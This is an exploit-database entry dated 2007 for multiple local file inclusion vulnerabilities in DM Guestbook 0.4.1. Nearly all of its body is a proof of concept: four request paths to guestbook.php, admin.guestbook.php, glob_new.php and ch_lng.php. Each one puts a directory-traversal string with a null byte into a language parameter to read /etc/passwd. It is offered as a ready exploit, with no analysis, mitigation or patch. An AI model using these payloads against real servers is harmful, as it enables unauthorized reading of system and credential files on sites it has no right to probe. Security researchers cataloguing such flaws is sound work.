DM Guestbook <= 0.4.1 Multiple Local File Inclusion Vulnerabilities

2007-11-02T00:00:00
ID 1337DAY-ID-2265
Type zdt
Reporter GoLd_M
Modified 2007-11-02T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================================================
DM Guestbook <= 0.4.1 Multiple Local File Inclusion Vulnerabilities
===================================================================


#  DM Guestbook <= 0.4.1 Multiple Local File Include Vulnerabilities
#  http://sourceforge.net/project/showfiles.php?group_id=101364 /guestbook.0.4.1/
#  POC :
#  /guestbook.php?lng=../../../../../../../etc/passwd%00
#  /admin/admin.guestbook.php?lng=../../../../../../../etc/passwd%00
#  /auto/glob_new.php?lng=../../../../../../../etc/passwd%00
#  /auto/ch_lng.php?lngdefault=../../../../../../../etc/passwd%00



#  0day.today [2016-04-20]  #